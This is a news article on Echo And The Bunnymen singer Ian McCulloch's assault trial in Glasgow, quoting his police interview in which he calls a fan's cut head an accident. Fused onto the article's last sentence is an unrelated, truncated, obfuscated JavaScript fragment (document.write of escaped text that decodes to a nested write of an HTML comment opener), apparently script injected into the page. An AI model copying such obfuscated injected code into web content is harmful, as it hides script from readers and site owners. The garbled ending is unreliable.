Echo And The Bunnymen speaks in court

The lead singer of Echo And The Bunnymen claimed that a backstage incident in which a female fan suffered a cut head was accidental, a court heard.

Ian McCulloch, 46, also said in a police interview tape that he had "politely" repeatedly asked Juliet Sebley's boyfriend, Gary Duncan, to leave his dressing room after the concert in Glasgow last year.

The Liverpool musician, whose band rose to prominence in the 1980s, denies two charges of assaulting the couple backstage and a further charge of breach of the peace.

A recording of an interview with the singer two days after the October 23 concert was played in a trial at Glasgow District Court.

In it McCulloch said he had just played a "brilliant" gig at the city's Barrowlands and was telling organisers that he wanted some time alone in his dressing room afterwards. But he returned to discover Mr Duncan and Ms Sebley in the toilet area of the dressing room.

The singer claimed that Mr Duncan "was definitely bevvied", in the interview conducted with Detective Constable Graham Haugh.

"I said 'This is our dressing room and you're not allowed in here'. I asked him politely about 10 times to go." The singer then led Mr Duncan to the door and did no more than "touch his jacket", he added.

"He was refusing to go. People saw him turn round to thump me. There was a group of people I was talking to previously and they stopped him coming towards me."

McCulloch said he then went back into the toilet area where Ms Sebley was in a cubicle. The 34-year-old project manager had claimed in evidence previously that she suffered a cut head when the door was swung open with force as the singer ranted outside.

But McCulloch said on the tape that he had only pushed it open. He said: "The door was a total accident. I was just checking out what was going on."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;